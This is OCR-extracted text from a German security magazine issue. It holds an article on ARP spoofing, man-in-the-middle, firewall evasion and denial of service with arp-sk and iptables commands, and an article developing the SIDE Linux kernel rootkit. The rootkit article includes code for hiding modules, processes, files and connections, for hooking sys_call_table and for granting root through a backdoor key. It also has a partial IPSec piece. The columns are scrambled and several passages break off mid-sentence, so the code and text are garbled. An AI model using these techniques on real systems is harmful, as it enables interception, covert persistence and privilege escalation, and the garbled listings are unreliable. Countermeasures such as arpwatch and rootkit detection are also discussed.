Abbildung 1. Der Man in the Middle Angriff

[batman]$ arp -a robin (192.168.1.2) at 00:10:a4:9b:6d:81 alfred (192.168.1.3) at 00:90:27:6a:58:74

Mögliche Angriffe

Jetzt sind wir nach den erforderlichen Vorbereitungen imstande, die Kommunikation zwischen batman und robin zu stören. Sehen wir uns die möglichen Formen der Attacke an.

Sniffing

Abbildung 2. Proxying

Ein nahe liegender und den größten Spaß bietende Ansatz ist ein Man in the Middle Angriff.

Proxying und Hijacking

Wir sind jetzt imstande, den Verkehr als ein transparenter Proxy mittels Anwendungsstreams umzuleiten. Die IP-Schicht (oder ein beliebiges Tool) muss einfach die Daten zur entsprechenden Anwendung befördern, auch wenn der Zielhost nicht der unsrige ist. Beispielsweise kann joker versuchen, bestimmte Eingaben in einer HTTPTransaktion zwischen batman und robin zu modifizieren: [root@joker]# iptables -t nat -A PREROUTING -p tcp -s robin -d batman --dport 80 -j REDIRECT --to-ports 80

Joker braucht nur einen HTTP-Proxy auf seinem Port 80 einzurichten. So

Abbildung 3. Smart Spoofing kann er beliebige Daten manipulieren. Mehr noch, wenn irgendeine einfache Integritätsprüfung der Daten (beispielsweise mit CRC32, MD5 oder SHA-1) durchgeführt wird, kann joker die Prüfsummen neu berechnen, bevor er die Daten weiterleitet. Die Einschränkungen sind nur die

www.hakin9.org

des Tools, mit dem die Daten behandelt werden. Wenn joker beispielsweise einen Teil einer abgelegten HTTP-Site auf seinem eigenen HTTP-Server führt, deren Teil allerdings etwas modifiziert ist, werden die Abfragen des unangetasteten Teils direkt an die

hakin9 Nr. 3/2006

29

Fokus

richtige Site weitergeleitet. Abbildung 2 zeigt, wie das nach den folgenden Modifikationen aussieht: [root@joker]# arp-sk -r -d robin -S batcave-gw -D robin [root@joker]# arp-sk -r -d batcave-gw -S robin -D batcave-gw [root@joker]# arp-sk

[root@joker]# arp-sk -r -d batcave-gw -S robin -D batcave-gw

Mit dem Einsatz von Linux wird der Angriff umso einfacher, da Netfilter NAT-Funktionalitäten automatisch Pakete sortieren, die jeweils zu den eigenen Verbindungen des Angreifers gehören und nicht:

-r -d batman -S batcave-gw -D batman [root@joker]# arp-sk

[root@joker]# iptables

-r -d batcave-gw -S batman

-t nat -A POSTROUTING

-D batcave-gw

-j SNAT --to 192.168.1.2

[...]

Bei solch einer Konfiguration verschickt joker ICMP-Redirects an die vergifteten Hosts. Um das zu vermeiden, müssen wir diese Art von Paketen sperren. Unter Linux erfolgt das mittels IP sysctl:

Ein Denial of Service ist ein sehr einfacher Angriff, der beim Herumspielen mit ARP-Meldungen durchgeführt werden kann. Man braucht lediglich alle umzuleitenden Pakete zu verwerfen:

[root@joker]# echo 0

[root@joker]# iptables

> /proc/sys/net/ipv4/conf/

-A FORWARD -s robin -d batman -j DROP

all/send_redirects

Umgehen von Firewalls (Smart Spoofing)

Mit ARP Cache Poisoning bringt der böswillige Nutzer seinen Rechner auf die Kommunikationsroute zwischen dem Server und dem Client. Dank IP Forwarding wird der Verkehr an den Client nach wie vor weitergeleitet. Natürlich sind ICMP Redirects auf dem Angreiferrechner gesperrt. Schließlich spooft der böswillige Nutzer die IP-Adresse des Clients und baut eine neue Verbindung zum Server auf. Dann kann er beliebige typische Netzwerkanwendungen Verbindungen zum Server mit der IP-Adresse des Clients herstellen lassen. Jegliche IP-basierte Zugriffskontrolle wird dadurch nutzlos. Darüber hinaus wird der bestehende Verkehr nicht gestört und der Smart Spoofing Angriff kann serverseitig nicht als solcher erkannt werden. Indem man sich für einen anderen Host im Netzwerk ausgibt und bestimmte Verbindungen abfängt, kann man Firewalls umgehen, indem die Regeln des gespooften Clients angewendet werden. Dazu braucht joker keine doppelten Umleitungen (ARP MiM) wie es bei der vorigen Methode der Fall war:

30

Denial of Service

hakin9 Nr. 3/2006

Wenn man den Verkehr lieber nicht über den eigenen Rechner leiten möchte, kann man auch ein schwarzes Loch in ARP erzeugen, indem man Pakete an ungenutzte MACAdressen verschickt. [root@joker]# arp-sk -r -d robin -S batman --rand-arp-hwa-src -D robin

Jetzt glaubt robin, batman sei tot.

Zusammenfassung

Wegen Sicherheitslücken im ARPProtokoll und dem daraus resultierenden Smart Spoofing Angriff können IP-basierte Mechanismen der Zugriffskontrolle in vielen Fällen umgangen werden. Wenn gespoofte ARP-Antworten verschickt werden, spüren die meisten IDS, die an allen Ports im Switch lauschen, doppelte IP-Adressen auf, sperren den Angriff allerdings eigentlich nicht. Außerdem kann diese Schutzmaßnahme die Aufstellung einer ganzen Reihe von NIDS in vielen Netzwerken erfordern. Ein anderer Weg wäre, hostbasierte IDS einzurichten, um ARPMeldungen zu überwachen und die Konsistenz der ARP-Tabellen aufrecht

www.hakin9.org

Über den Autor

Kristof De Beuckelaer ist Student und lebt in Belgien. Sein Interesse für Sicherheitsfragen hat gleich am ersten Tag begonnen, an dem er über Linux, Exploits, Sicherheitskorrekturen, Netzwerke usw. gelesen hat und damit zu experimentieren begann. Seit etwa 4 oder 5 Jahren ist er aktives Mitglied mehrerer Benutzergruppen, von Codern bis hin zu Autoren, von Windows bis hin zu Linux. Seine erste Erfahrung mit Linux war eine Terminalsitzung und seitdem ist das Experiment nie zu Ende; etwas später kam sein erstes selbstgebautes linuxbasiertes Betriebssystem für seine persönliche Nutzung.

Gedanken

Vielen Dank Laurent Licour & Vincent Royer für die neue Smartspoofing Technik zu schaffen, die in diesem Artikel benutzt würde.

zu erhalten. Das für viele UNIX-Plattformen verfügbare arpwatch führt eine Datenbank der MAC-Adressen, die im Netzwerk erkannt wurden und der damit assoziierten IP-Adressen. Wenn sich etwas um diese Assoziationen herum ereignet, benachrichtigt es den Administrator per E-Mail, beispielsweise bei einem neuen Knoten/neuer Aktivität, bei Flipflops, Änderungen, sowie bei der Wiederverwendung alter Adressen. Man sollte einen zuverlässigen Mechanismus zur Zugriffskontrolle, starke Authentifizierung statt der Identifizierung per IP-Adressen oder Klartextpasswörtern einsetzen. VPN-Protokolle wie SSH, SSL oder IPSec verbessern die Sicherheit wesentlich, indem sie Authentifizierung, Integritätskontrolle und Vertraulichkeit gewährleisten. Es gibt also einige Methoden, sich gegen ARP-bezogene Angriffe zu wehren, duplizierte MAC-Adressen an einem Switch zu erkennen und/ oder Sticky-ARP zu aktivieren. So kann Änderungen der MAC-Adressen an Endknoten vorgebeugt werden, allerdings bei einem potenziell hohen administrativen Aufwand. l

Techniken

Fortgeschrittene Entwicklung von L2.6KM Rootkits Pablo Fernández

Schwierigkeitsgrad

Die Installation eines Rootkits ist die Phase, die einen kompromittierten Rechner von einem besessenen trennt. Dieser Artikel konzentriert sich auf die Entwicklung eines Rootkits für den Linux Kernel der 2.6 Reihe. Das Hauptthema sind Techniken und Methoden, wie die Aktivitäten des Angreifers im System verborgen bleiben können, sowie die Detektion von Rootkits auf einem übernommenen Rechner.

K

enntnisse der Rootkit-Internals sind in vieler Hinsicht von einem enormen Wert; ein Angreifer besitzt eigentlich kein Systemrecht, solange er keine gute Art und Weise ermittelt, das gesamte System zu kontrollieren; ein Systemadministrator muss wissen, wie sie funktionieren, um feststellen zu können, ob das System kompromittiert worden ist. Dieser Artikel beschreibt die wichtigsten Techniken am Beispiel eines echten, erweiterbaren LKM-Rootkits namens SIDE, das für die aktuelle 2.6-Serie von Linuxkernels bestimmt ist. In weiteren Artikeln dieser Reihe werden dem Rootkit weitere Funktionalitäten hinzugefügt.

Verstecken eines Moduls

Da das Rootkit im System als ein Kernelmodul arbeiten soll, muss dafür gesorgt werden, dass es nicht mit Befehlen wie lsmod bzw. über /proc/modules entdeckt werden kann. Der Code in Listing 1 kümmert sich darum. Um sein Prinzip zu verstehen, müssen wir wissen, wie Module im Kernel organisiert sind und was die theoretischen Grundlagen dieser Verstecktechnik sind (siehe der Kasten Modules). Grundsätzlich löst sich das Modul dank diesem Code von der Kernelinternen kreisförmigen doppelt verlinkten Liste der geladenen Module.

32

hakin9 Nr. 3/2006

Verstecken von Prozessen

Die Fähigkeit, Prozesse vor jedem Systemnutzer (Root inklusive) zu verstecken, ist eins der Grundfeatures, die ein Rootkit implementieren sollte. Tools aus dem Userspace (wie ps(1) oder top(1)) erfahren über Aufgaben (Prozesse), in-

In diesem Artikel erfahren Sie.. • • • •

wie ein Betriebssystem mit Programmen im Userbereich interagiert; was Systemaufrufe sind und wie man die Systemaufruftabelle findet; wie man Module, Prozesse, Netzwerkverbindungen und Filter versteckt; wie Rootprivilegien normalen Nutzern aus dem Kernel heraus verliehen werden können.

Was Sie vorher wissen/können sollten... • • •

www.hakin9.org

C-Programmierkenntnisse; Linuxkenntnisse; ein Verständnis von Begriffen wie Aufgaben, Dateien usw.

Fortgeschrittene Entwicklung von L2.6KM Rootkits

dem sie Informationen aus dem /procVerzeichnis auslesen. Jede Aufgabe im System legt einen Eintrag in Form von /proc/ an, dem Informationen über diesen Prozess entnommen werden können. Die Userspace -Tools öffnen das /proc-Verzeichnis und überprüfen, ob /proc/ vorhanden sind, wo 1 prev = __this_module.list.prev; __this_module.list.prev = LIST_POISON1; /* A common practice in kernel development */ __this_module.list.next = LIST_POISON2; /* to invalidate a list that shouldn't be used */ unlock_kernel();

Listing 2. Ein Abschnitt aus /proc's filldir reimplementation if (!(process = _atoi(name, &process))); /* If this isn't a PID just call the original filldir */ else if (!process_is_authed(current) && process_is_hidden(process)) /* If process is hidden */ return 0; /* don't show it (unless current is superroot) */ if (p_proc_filldir) return p_proc_filldir(buf, name, nlen, off, ino, x);

Wenn ein Signal an einen nicht existierenden Prozess geschickt wird, gibt kill(2) den Wert -1 aus und stellt errno auf ESRCH ein, und wenn es den Prozess gibt, ist die Ausgabe von kill(2) der Wert 0. Auf diese Art und Weise erkennen Rootkitdetektoren die Präsenz von Prozessen, ohne auf die Daten aus /proc zuzugreifen. Danach wird die resultierende Liste mit der Liste der Prozesse verglichen, die in /proc aufgeführt sind. Wenn Unterschiede zwischen den beiden Listen festgestellt werden, bedeutet es, dass ein Prozess vor dem Userspace versteckt ist. Vom Rootkit-Standpunkt ist die Täuschung eines Rootkitdetektors, der diese Technik einsetzt, eine ein-

fache Codeerweiterung. Alles, was das Rootkit zu tun braucht, ist den kill(2)-Systemaufruf abzufangen (siehe Kasten Systemaufrufe) und wenn ein Signal von jemandem anderen als der Superroot-Nutzer (siehe Kasten Superroot) an den versteckten Prozess geschickt wird, sollte die neue Rückruffunktion ESRCH ausgeführt werden. Wenn es aber doch der Fall ist, dass das Signal vom SuperrootNutzer geschickt wird, sollte die echte kill(2)-Funktion aufgerufen und der echte Wert ausgegeben werden.

Danach: die Rootkitdetektortechnik

Ein Rootkitdetektor kann Rootkits auf mehrere Weisen aufspüren. Da User-

Abbildung 1. Änderungen des sys_call_table

www.hakin9.org

hakin9 Nr. 3/2006

33

Techniken

Listing 3. Ersatz für sys_kill() asmlinkage int new_kill(pid_t pid, int sig) { struct siginfo info = { .si_signo = sig, .si_errno = 0, .si_code = SI_USER, .si_pid = current->tgid, .si_uid = current->uid }; if (!process_is_hidden(pid) || process_is_authed(current)) return kill_proc(pid, sig, &info); return -ESRCH; }

space-Tools ohne großen Aufwand getäuscht werden können, gibt es keinen Grund, Rootkitdetektoren darin laufen zu lassen. Sobald sich ein Programm im Kernelbereich findet, ist es kinderleicht, die sys_call_table auf Modifikationen hin zu prüfen. Auch die Suche nach versteckten Prozessen wird einfacher, da sie nicht so einfach aus der Prozessliste wie Module gelöst werden können; nur dank der Präsenz auf der Liste können sie einen Ausführungszeitanteil zugewiesen bekommen. Während einige Rootkitdetektoren manche dieser Techniken einsetzen, bleiben die meisten im Userspace. Die Lehre für paranoide Administratoren ist, sich nicht blind auf Rootkitdetektoren zu verlassen.

Verstecken von Netzwerkverbindungen

Userspace-Programme und Anwendungen erfahren über den Netzwerkverkehr aus /proc/net, und zwar aus einigen der dort befindlichen Einträge (die wie Dateien aussehen, sind aber eigentlich proc_dir_entryStrukturen) wie tcp oder tcp6 (wenn CONFIG_IPV6 aktiviert ist). Diese Einträge enthalten Informationen über die Netzwerkaktivität im System. Mit einer anderen Methode können auch Leseaufrufe abgefangen werden, also können die ausgegebenen Informationen unterwegs modifiziert werden. Während die Netzwerkverbindung aktiv bleibt (oder ein Socket sich im LISTEN Zustand befindet), sehen sie netstat und ähnliche Tools nicht. SIDE bietet eine sehr hübsche Art und Weise, Netzwerkverbindungen zu verstecken, sehr ähnlich (obwohl von

34

hakin9 Nr. 3/2006

bei weitem geringerer Funktionalität) wie Netfilter das tut. Eine Liste von Bedingungen und Befehlen wird zur Ausführungszeit erzeugt (siehe Tabelle 1) und wenn Informationen über Sockets abgefragt werden, wird die Liste an jeden Sockel angepasst. Wenn eine der Regeln passt, wird der mit der jeweiligen Bedingung assoziierte Befehl ausgeführt. Der Befehl kann entweder show oder hide den Sockel im Userspace. Die Liste ist ziemlich mächtig. Standardaktionen können mit der allBedingung am Ende der Liste definiert werden, so dass die Anwendung sie zur Ausführungszeit laden und gar Standardbefehle auf das Laden eines Moduls hin ermöglichen. Die Methode, Netzwerkverbindungen zu verstecken, besteht darin, dass das Handle des proc_dir_entry ds Protokolls abgefangen wird, das sich wie tcp. proc_dir_entry-Elemente im /proc/net-Raum befindet, und über die kreisförmige doppelt verlinkte Liste unter proc_net->subdir erreicht werden kann. Eine Iteration darüber nach dem korrekten Namen im node->nameMitglied sollte es ermöglichen. Wurde die Struktur einmal abgefangen, muss der seq _show-Zeiger

Abbildung 2. Die VFS-Schicht

www.hakin9.org

mit einer Neuimplementation der Funktion überschrieben werden. Die Implementation von SIDE liest die entsprechenden Daten (mit der Originalfunktion) aus und vergleicht jede Zeile davon mit den geladenen Regeln, indem sie die vorgegebenen Aktionen für jede angepasste Zeile anwendet.

Das Problem

Der Charakter des Netzwerkverkehrs macht es unmöglich, Einbrecheraktivität vor einem schlauen Administrator wirklich zu verbergen. Typischerweise liegen einige Hops zwischen dem kompromittierten System und dem anderen Kommunikationsendpunkt. Diese Hops werden diesen verheimlichten Verkehr klar zeigen und man kann dagegen wenig unternehmen. Grundsätzlich wird ein verstecktes Socket im LISTEN-Modus auch wenn noch keine Verbindung hergestellt wurde, von nmap als ein offener Port angezeigt, was netstat nicht kann. Etwas, dass dieses Problem umgehen lässt, ist (bestimmt) der Einsatz von Port Knocking (hakin9 6/2005). Sobald aber die Verbindung hergestellt ist und der Verkehr begonnen hat, kann er ohne weiteres aufgespürt werden (Removing spiderwebs – detection of illegal connection sharing, hakin9 3/2005). Ein netter Trick wäre, überhaupt keine Verbindung aufzunehmen, sondern mit ICMP bzw. UDP-Paketen zu kommunizieren und das System kontrollieren und Informationen daraus auszulesen. So kann der Angreifer das kompromittierte System sogar steuern, ohne Spuren

Fortgeschrittene Entwicklung von L2.6KM Rootkits

zu hinterlassen, indem er gespoofte UDP- oder IMP-Pakete einsetzt. Das hier besprochene Rootkit wird in weiteren Artikel ausgebaut und um mehrere Features erweitert, auch die obigen.

Verstecken von Dateien

Ein System wird oft kompromittiert, um als eine sichere Ausführungsplattform für [D]DoS-Angriffe oder als ein Vermittlungsknoten zwischen dem Angreifer und einem anderen kompromittierten System zu dienen. Meist braucht der Fremdling einige Dateie ins System einzuschleusen, um diese Angriffe durchführen zu können. Wenn derartige Tools vom Administrator gefunden werden, ergeben sich natürlich Fragen. Daher sollte ein Rootkit immer fähig sein, Dateien im System zu verstecken, auch hier vor allen Benutzern, Root inklusive. Wieder werden VFS-Kenntnisse umgesetzt, um diese Operationen auf die selbe Art und Weise wie bei Prozessen durchzuführen. Diesmal bewahrt das fs-Objekt eine Liste versteckter Dateinamen auf. Diese Dateinamen sind nicht mit Pfäden versehen, also impliziert das Verstecken einer Datei in einem Verzeichnis das automatische Verstecken jeder Datei mit demselben Namen in allen Verzeichnissen. Der Zweck dieser Funktionalität ist, den Superroot zu zwingen, keine standardkonformen Namen zu verwenden, da es ja andere Fälle gibt, die hier nicht behandelt werden – beispielsweise werden zwar versteckte Dateien nicht in Verzeichnissen aufgelistet, sind aber nach wie vor über Systemaufrufe wie open(2), stat(2) usw. abrufbar. SIDE bietet zurzeit kein Mittel, Dateien vor diesen (und einigen anderen wie rename(2))Zugriffsmethoden zu verstecken. Vorschlag: Es wäre eine gute Übung, diese Features nach der

Listing 4. Suche nach sys_call_table unsigned long ptr; extern int loops_per_jiffy; for (ptr = (unsigned long) &loops_per_jiffy; ptr < (unsigned long)&boot_cpu_ data; ptr += sizeof(void *)) { unsigned long *p; p = (unsigned long *)ptr; if (p[__NR_close] == (u32) sys_close) /* When this condition is met p points to sys_call_table */ return (u32 **) p; }

Listing 5. Abfangen eines Systemaufrufs u32 **sys_call_table; asmlinkage int (*old_open)(const char *, int, mode_t); if ((sys_call_table = find_sys_call_table())) { old_open = (void*) sys_call_table[__NR_OPEN]; sys_call_table[__NR_OPEN] = (u32*) new_open; }

Lektüre dieses Artikels auf eigene Faust hinzuzufügen. Achtung – die verwendete Methodologie ist systemabhängig. Wenn SIDE Dateien unter verschiedenen Mountpoints verstecken können soll, muss die vfs.c-Datei so modifiziert werden, dass sie diese Mountpoints beim Verstecken berücksichtigt. Es ist völlig sicher, die Attribute readdir und filldir wie im Hauptdateisystem zu nutzen.

Das Problem

Auch das Verstecken von Dateien hat seine angeborenen Probleme, die denen mit Netzwerkverbindungen ähneln. Dateien werden auf Trägern gespeichert, die auf verschiedene Weisen ausgelesen werden können, etwa mit einer Rettungs-CD-ROM, wo der Nutzer die Root-Partition einbinden kann. Da das Rootkit nicht in den laufenden Kernel geladen ist, werden die versteckten Dateien nicht mehr versteckt. Es gibt mehrere Weisen, wie es schwieriger gemacht

Glossar • •

LKM – Linux Kernel Module; VFS – Virtual File System bzw. Virtual Filesystem Switch.

www.hakin9.org

werden kann, diese Dateien aufzufinden. Die einfachste und häufigste Sicherheitsmaßnahme ist Sicherheit durch Verworrenheit, das Speichern von Dateien in untypischen Plätzen und unter nichtssagenden Namen. Ein anderer, viel besserer Ansatz ist, alle Dateien im Loopback-Dateisystem aufzubewahren; natürlich muss dabei so vorgegangen werden, dass solch ein eingebundenes Dateisystem weder für mount(8) noch unter /proc/mounts sichtbar ist. Dieser Ansatz ermöglicht auch eine unaufwändige Verschlüsselung des Systems. Sollten Administratoren also Verdacht schöpfen, können sie sowieso nicht sehen, was in diesem Dateisystem drin steckt.

Normaler Nutzer mit Rootprivilegien

Der Benutzer superroot besitzt spezielle nicht-null UID und GID, also verfügt er nicht über Rootprivilegien. Natürlich ist das nicht akzeptabel, also implementiert SIDE einen Mechanismus, der jedem Prozess des Benutzers superroot die UID 0 verleiht. Auch das wird getan, indem ein Abruf der lookup()-Funktion im /proc -Verzeichnis unterbrochen wird. Wenn ein authentifizierter Prozess (siehe Kasten Superroot) auf etwas darin

hakin9 Nr. 3/2006

35

Techniken

zugreift, werden seine UID und alle damit verbundenen Werte auf 0 (Root) gesetzt und bestimmte Funktionalitäten wie cap_effective, cap_inheritable und cap_permitted aktiviert. Wenn der Prozess auf nichts in /proc zugreift, arbeitet er mit der Superroot UID. Also werden kleine, einfache Programme wie der whoami-Befehl nicht als RootProzesse identifiziert.

Usability zur Ausführungszeit

gibt es mehrere Befehle. Der Bündigkeit halber werden einige davon in Tabelle 1 aufgelistet. Informationen über die übrigen Befehle sind in der COMMANDS.txt-Datei im Paket zu finden. Befehle sollten wie folgt aufgerufen werden: echo > /proc/[Objekt].[Befehl[=Argume nte]]

Module

SIDE bietet zur Ausführungszeit eine sehr bequeme Benutzeroberfläche. In vfs.c fängt das Rootkit lookup()Aufrufe innerhalb des /proc-Dateisystem ab. So kann superroot (siehe Kasten Superroot) mit dem Rootkit interaktiv arbeiten, um es beispielsweise einen Prozess verstecken oder einem Benutzer Root- bzw. Superroot-Privilegien verleihen. Befehle an den Rootkit zu schicken ist ziemlich einfach, da der Benutzer lediglich zu versuchen braucht, auf eine Datei im /proc-Dateisystem zuzugreifen. Der Dateiname wird dann als Befehl interpretiert. SIDE fasst Befehle Objekten nach zusammen, also werden sie, je nachdem, was der Benutzer tun will, für konkrete Objekte ausgeführt. Zurzeit unterstützt SIDE drei verschiedene Objekte: net zur Manipulierung der Netzwerkliste; sys zur Behandlung von Prozessen und nutzerbezogenen Eigenschaften; fs zur Manipulierung der Liste versteckter Dateien.Für diese Objekte

Geladene Module werden im Kernel in einer kreisförmigen doppelt verlinkten Liste aufbewahrt, wo jeder Knoten einem struct module entspricht (diese Module sind in include/module.h definiert). Module werden typischerweise aus dem /proc/modules-Eintrag ausgelesen. Die Modulliste wird durch m_show in kernel/module.c erstellt, indem die genannte verlinkte Liste abgeklappt wird. Die Tatsache, dass auf die Liste aus jedem Modul zugegriffen werden kann, lässt sie bearbeiten und manipulieren. Die Art und Weise, ein Modul zu verstecken, ist es von der verlinkten Liste zu lösen, indem der vorige und der nächste Knoten direkt miteinander verknüpft werden. Dieser Ansatz wurde in dem interessanten Artikel von Mariusz Burdach in hakin9 3/2005 ausführlich besprochen.

Systemaufrufe

Systemaufrufe bilden eine kernelseitige Schnittstelle zwischen dem Userspace und dem Kernel. Alles, was vom

Kernel in den Userspace oder umgekehrt übertragen wird, muss über einen Systemauffruf passieren. Dies ist die Hauptursache, warum Rootkits immer besonders darauf abzielen, sie abzufangen, denn die Kontrolle über Systemaufrufe bedeutet die Kontrolle darüber, was der Benutzer zu sehen bekommt und tun kann. Es gibt viele Systemaufrufe, wie open(2), read(2) usw. Alle diese Funktionen werden über Zeiger in dem Array namens System Calls Table, besser bekannt als sys_call_table, referenziert. Historisch gesehen genügte zur Modifizierung des sys_call_table einfach, den erwünschten Zeiger mit einer neuen Adresse im Speicher (wo sich die neue auszuführende Funktion befand) zu überschreiben. So konnte jeder Systemaufruf (bis auf execve(2), der vorsichtiger aufgerufen werden muss) ohne großen Aufwand abgefangen werden. Zum Glück bzw. leider exportiert Linux seit der 2.5.41Version das sys_call_table nicht mehr; es befindet sich zwar nach wie vor im Speicher, Module können aber nicht mehr auf seine Adresse zugreifen. Es gibt einen Weg, die richtige Adresse zu ermitteln: /usr/src/ linux/include/asm/unistd.h listet die Reihenfolge des sys_call_table mit __NR-Konstanten auf, die den Adressabstand der einzelnen Systemaufrufe im Array angeben, und da die Adressen aller Systemaufrufe bekannt sind (jeder wird exportiert), kann der Speicher nach sys_call_ta-

Tabelle 1. Befehlliste Befehl

Beispiel

Beschreibung

net.hide.src=[IP]

net.hide.src=192.16

Netzwerkverbindungen verstecken, wenn die Quelladresse [IP] ist

8.0.10 net.show.dstport=[PORT]

net.show.dstport=22

Alle Netzwerkverbindungen anzeigen, in denen der Zielport [PORT ] ist

sys.superroot=[KEY]

sys.superroot=dSi2d_ q@d

Superroot-Privilegien verleihen, wenn der Schlüssel [KEY ] korrekt ist

sys.hide=[PID]

sys.hide=1

Den Prozess mit der PID [PID ] verstecken

sys.show=[PID]

sys.show=5982

Den versteckten Prozess mit der PID [PID ] anzeigen

sys.guid=[UID],[GID]

sys.guid=1000,1000

Superroot-Privilegien zurückziehen, die UID auf [UID ] und die GID auf [GID ] einstellen

fs.hide=[DATEINAME]

fs.hide=dfdfdf-nc

Dateien mit dem Namen [FILENAME ] verstecken

fs.show=[DATEINAME]

fs.show=dfdfdfdf-

Versteckte Dateien mit dem Namen [FILENAME ] anzeigen

arpspoof

36

hakin9 Nr. 3/2006

www.hakin9.org

Fortgeschrittene Entwicklung von L2.6KM Rootkits

Über den Autor

Geboren in Temperley, Argentinien, ist Pablo Fernández ein 21-jähriger Softwareentwickler mit mehr als 6 Jahren GNU/Linux-Erfahrung und 4 Jahren Tätigkeit im Sicherheitsbereich. Pablo hat mehrere Open Source Programme veröffentlicht, ist der Autor von dem GNOME-Mailclient Cronos II und proxychain sowie hat u.a. zu Projekten wie Nmap (für das er die neueste völlig unmerkbare Proxyscanmethode erarbeitet hat) beigetragen.

Im Internet •

http://www.littleQ.net/SIDE/ – die Homepage von SIDE.

ble durchsucht werden. Der Code hierfür deklariert einfach einen Zeiger, der mit einer niedrigen Speicheradresse beginnt (typischerweise der Adresse von loops_per_jiffy) und iteriert, bis sein __NR-Abstand der richtigen Adresse des erwünschten Systemaufrufs gleicht. Wenn eine Adresse im oberen Speicherbereich (beispielsweise boot_cpu_data) erreicht wird, ist etwas falsch gegangen (vielleicht fängt ein Modul bereits den gesuchten Systemaufruf sys_call_table ab) und das Systemaufrufarray konnte nicht gefunden werden. Ist es der Fall, sind keine Unterbrechungen der Systemaufrufe möglich. Dies ist allerdings völlig unabhängig von VFS-Unterbrechungen. Nachdem sys_call_table gefunden worden ist, sind Änderungen daran nicht schwieriger als früher. In Listing 3 steht ein Beispiel, wie der Systemaufruf open(2) abgefangen wird. Es ist wichtig, daran zu denken, dass Systemaufrufe für das System von kritischer Bedeutung sind. Wenn ein Systemaufruf abgefangen wird und die neue Rückruffunktion (in Listing 3: new_open) sich fehlerhaft verhält, geht es dem System ebenso, möglicherweise bis zur völligen Destabilisierung. Meistens wird der eigentliche Systemaufruf aus der neuen Rückruffunktion heraus aufgerufen, wenn die Funktion entscheidet, ihn zu erlauben. Daher

speichert der Code aus Listing 3 den Zeiger auf die Originalfunktion. Wenn das Modul also ausgebunden werden soll, wird sys_call_table so geändert, dass wieder die Originaladresse abgerufen wird.

Unter der VFS-Haube

Das Virtual File System bzw. Virtual Filesystem Switch ist eine Schicht zwischen dateibezogenen Systemaufrufen (wie open(2)) und der eigentlichen Implementationen des Dateisystems (wie ext2, ext3, reiserfs, jfs usw.). Es bietet eine gemeinsame Schnittstelle, die die Arbeit der Dateisystem-Entwickler erleichtert. Dateisystem-Implementationen müssen eine Reihe vordefinierter Funktionen und Methoden implementieren und die VFS-Schicht darüber benachrichtigen. Die Methoden werden durch VFS mit Funktionszeigern als Rückruffunktionen aufgerufen. Grundsätzlich stellt VFS eine Struktur bereit, die jedes Dateisystem füllen und sich bei der VFS-Schicht anmelden muss. In dieser Struktur sind Informationen vorhanden, die die Adressen dieser Rückruffunktionen ermitteln lassen. Bei der Entwicklung eines Rootkits ist readdir wohl der interessanteste Aufruf. Diese Rückruffunktion bietet den Algorithmus zum Aufruf der filldirFunktion, die für jede Datei bzw. jedes Verzeichnis aufgerufen wird, die bzw. das durch readdir ausgelesen wird. Ihr Ausgabewert dient zur Aufbereitung der Informationen über die Leseoperation am Verzeichnis. In diesem Artikel wird ein Ansatz intensiv umgesetzt, wo der filldirAusgabewert 0 verwendet wird. Dieser Wert veranlasst readdir, Informationen über das ausgelesene Objekt zu verwerfen.

Superroot

Wenn jeder Systemnutzer ein Rootkit kontrollieren könnte, mit dem das System heruntergefahren werden kann, wäre es kein gutes Tool. Bevor SIDE jegliche Befehle ausführt, muss sich der Benutzer authentifizieren, und zwar mit dem

www.hakin9.org

Befehl sys.superroot. Damit dieses Kommando den Benutzer erfolgreich identifiziert, muss ein Schlüssel als Parameter des Befehls überreicht werden. Der Schlüssel ist eine (meist) zufallsbasierte Kette, die die jeweilige Installation identifiziert. SIDE wählt den Schlüssel für die jeweilige Instanz im configure-Skript. Wenn der korrekte Schlüssel angegeben wird, werden die UID und GID des Benutzers so geändert, dass sie auf den Benutzer Superroot verweisen (auch diese Werte werden durch configure eingestellt). Superroot-Privilegien sind erforderlich, damit Befehle ausgeführt und sonst versteckte Informationen angezeigt werden können.

Zusammenfassung

In diesem Artikel wurden verschiedene Techniken und Ansätze dargestellt, die bei der Entwicklung eines Rootkits für den Linuxkernel der 2.6Reihe umgesetzt werden können. Besprochen wurden Methoden, die Netzwerkverbindungen, Prozesse, Module und Dateien verstecken lassen, sowie Gegenmaßnahmen, die von Rootkitdetektoren ergriffen bzw. von Entwicklern und Administratoren ergriffen werden sollten. Softwareentwicklung rund um den Linuxkernel ist ein Land der Gelegenheiten für Hüte aller Farben. Das hier ist nur die Spitze eines Eisbergs, in der Realität ist es ein weites, weites Feld. Ich habe „wo 1 N. Hier bewegt sich das Fenster nach vorne, so dass sich das letzte Paket an seinem rechten Ende befindet, wie es unten in Abbildung 1 zu sehen ist.

Abbildung 4. AH im Tunnelbetrieb

Abbildung 5. AH im Transportbetrieb

Abbildung 6. ESP im Transportbetrieb

Sicherheit mit der PFS-Option

Die PFS-Option (Perfect Forward Security), wenn gesetzt, lässt bei einer Entdeckung des Langzeitschlüssels die davon abgeleiteten Session-Schlüssel nicht vorschauen. So können weder die SessionSchlüssel ermittelt noch die damit verschlüsselten Nachrichten dechiffriert werden, und das Knacken eines Session-Schlüssels lässt noch nicht auf die Anderen schließen. Das ergibt sich aus der Erfüllung der zwei folgenden Voraussetzungen: •



68

kein Session-Schlüssel (mit dem Daten chiffriert werden) sollte zum Erzeugen anderer Schlüssel eingesetzt werden; ein Schlüssel, von dem Session-Schlüssel abgeleitet werden,

hakin9 Nr. 3/2006

Abbildung 7. ESP im Tunnelbetrieb sollte nicht zum Erzeugen anderer Schlüsselarten dienen. Wenn diese Bedingungen erfüllt sind, kann man sagen, dass die PFS-Option für diese beiden Schlüsseltypen – Session-Schlüssel und die zu ihrer Erzeugung – gewährleistet ist.

Der Mechanismus zur Integritätskontrolle

Die Integritätskontrolle erfolgt mit dem ICV-Feld (Integrity Check Value), das weiter im Artikel bespro-

www.hakin9.org

chen wird. Die Kontrolle basiert auf einem Hash aller Framefelder mit einem Algorithmus wie HMAC-MD5 oder HMAC-SHA1. Die Framefelder, die nicht während der Reise der Tabelle als tatsachliche Quelle die Anschrift mitgenommen haben, werden in ihrer Originalform erhalten. Dasselbe gilt für Felder, deren Wert bei der Zustellung vorgesehen werden kann, etwa die echte Zieladresse. Andererseits werden Felder, deren Werte sich auf eine unvorhersehbare Art und Weise ändern können, wie

IPSec

die Paket-TTL, bei der ICV-Berechnung als 0 betrachtet.

Zwei Betriebe: Tunnel und Transport

